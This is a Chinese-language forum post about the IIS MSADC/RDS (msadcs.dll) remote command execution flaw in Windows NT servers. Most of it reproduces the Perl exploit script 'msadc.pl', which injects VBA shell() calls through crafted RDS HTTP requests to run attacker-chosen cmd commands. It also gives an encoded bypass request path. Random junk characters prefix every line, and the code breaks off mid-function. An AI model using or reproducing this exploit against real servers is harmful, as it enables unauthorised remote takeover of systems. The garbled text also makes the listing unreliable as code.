IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
@$nh6l>i y6Ez.$M 涉及程序:
BAi`{?z$< Microsoft NT server
FAX[|p }z,9!{~` 描述:
eZD"!AT 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
}2S)CL= FL4BdJ\ 详细:
'6\ZgOO9 如果你没有时间读详细内容的话,就删除:
-2'+GO7G c:\Program Files\Common Files\System\Msadc\msadcs.dll
CR;E*I${ 有关的安全问题就没有了。
nw#AKtd@x Nw(hN+_u 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
Qg0%rbE (" +clb` 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{,1>( 关于利用ODBC远程漏洞的描述,请参看:
8|Ob7+ HD3WsIim* http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Z!*6;[]SfG ~NLthZ(O 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
?zfm"o http://www.microsoft.com/security/bulletins/MS99-025faq.asp KK{_s=t%< lM#,i\8Q 这里不再论述。
o ZQ@ Yu3 ym_as8A*Q 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
7 U-}Y X&i;WI /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
PjXiYc& 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
OUFy=5(%: G6lC[eK Xk1uCVUe5 #将下面这段保存为txt文件,然后: "perl -x 文件名"
\<dg "zkQu #!perl
YV} "# #
r4<As` & # MSADC/RDS 'usage' (aka exploit) script
!b&+2y2i[W #
,*YmXR-" # by rain.forest.puppy
5z2("[8L& #
FM(EOsWk # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
IZiS3 # beta test and find errors!
pjQyN|KS ><xmw= use Socket; use Getopt::Std;
qz2`%8}F) getopts("e:vd:h:XR", \%args);
n5;@}Rai Ni|MTE]~ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
!%$,S=_F (nXnP{yb if (!defined $args{h} && !defined $args{R}) {
B/o8r4[80 print qq~
C+"c^9[ Usage: msadc.pl -h <host> { -d <delay> -X -v }
PgA1:i&' -h <host> = host you want to scan (ip or domain)
8aKS=(Z!j -d <seconds> = delay between calls, default 1 second
GB"Orm. -X = dump Index Server path table, if available
!"&-k:|g -v = verbose
#`!mQSK -e = external dictionary file for step 5
agE-, |=KzQY|u Or a -R will resume a command session
587;2 <Q"G
aqZ ~; exit;}
!0P:G#o-$ w%..*+P $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
Ul6|LTY if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
[zXC\)&! if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
q2'}S
A/ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
!^s -~`'\~ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
cP\z*\dS if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
@vXXf/ ew~?&= if (!defined $args{R}){ $ret = &has_msadc;
U@CAQ? die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
B}. :7,/0 nK)1.KVN print "Please type the NT commandline you want to run (cmd /c assumed):\n"
!uO@4]:Y . "cmd /c ";
~j(vGO3JB $in=<STDIN>; chomp $in;
87W!R<G $command="cmd /c " . $in ;
u;!h bsr]Z&9rrk if (defined $args{R}) {&load; exit;}
:I7mMy* 4_sJ0 =z- print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
R*0mCz^+h &try_btcustmr;
#sBL E 6 eu7&Kj' print "\nStep 2: Trying to make our own DSN...";
0rz1b6F5, &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
*po
o.Zz l'@!' print "\nStep 3: Trying known DSNs...";
r!O[|h &known_dsn;
BFhEDkk nB5\ocJ print "\nStep 4: Trying known .mdbs...";
\13Q >iAu &known_mdb;
*3!r &iY w!v^6[! if (defined $args{e}){
<2L,+ print "\nStep 5: Trying dictionary of DSN names...";
%{pjC7j# &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
68(^* 023uAaI^3r print "Sorry Charley...maybe next time?\n";
~d1=_p:~T exit;
9v;HE{> L N.:>, ##############################################################################
GQk/ G0*& e$WAf`* sub sendraw { # ripped and modded from whisker
Nnr[@^M5 sleep($delay); # it's a DoS on the server! At least on mine...
_+nk3-yQw my ($pstr)=@_;
NZ&ZK@h}. socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
ao=e{R) die("Socket problems\n");
mqHH1} if(connect(S,pack "SnA4x8",2,80,$target)){
`LLmdm 6i select(S); $|=1;
/5z,G r print $pstr; my @in=<S>;
TQ:5@1aT select(STDOUT); close(S);
%3"3V1 return @in;
m.
p'LF } else { die("Can't connect...\n"); }}
F$jy~W_ &|}QdbW ##############################################################################
^#mWV i$$h6P# sub make_header { # make the HTTP request
}9W[7V? my $msadc=<<EOT
oXqJypR 2 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
qg1\ABH User-Agent: ACTIVEDATA
y N9~/g Host: $ip
MRK=\qjD
Content-Length: $clen
1gcWw, / Connection: Keep-Alive
6-tIe_5 ~piE$"]& ADCClientVersion:01.06
HeO&p@ Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
RticGQy&5 M!mw6';k --!ADM!ROX!YOUR!WORLD!
K(lSR Content-Type: application/x-varg
4lpcJ+:o Content-Length: $reqlen
AXte&l=M &A.0(s EOT
lMh>eX ; $msadc=~s/\n/\r\n/g;
wIR"!C>LE return $msadc;}
reArXmU<u !iNwJ|0 ##############################################################################
~av#r=x jO5R ~O` sub make_req { # make the RDS request
!OQ5AF$
my ($switch, $p1, $p2)=@_;
4X7J~ my $req=""; my $t1, $t2, $query, $dsn;
a#i|)[ + 9|0\Q if ($switch==1){ # this is the btcustmr.mdb query
.9=4Af $query="Select * from Customers where City=" . make_shell();
MUv#8{+F'/ $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
C'y2!Q/" $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
y!}XlllV e f&8L elsif ($switch==2){ # this is general make table query
iR./9}Ze $query="create table AZZ (B int, C varchar(10))";
=T6 ~89 $dsn="$p1";}
^b`-zFL7 8>
$=p4bf elsif ($switch==3){ # this is general exploit table query
(n:A`] $query="select * from AZZ where C=" . make_shell();
9QB,%K_:4 $dsn="$p1";}
_'1 ]CoR hY%} x5ntU elsif ($switch==4){ # attempt to hork file info from index server
@mxaZ5Vv} $query="select path from scope()";
*QWOWg4w $dsn="Provider=MSIDXS;";}
rC!"<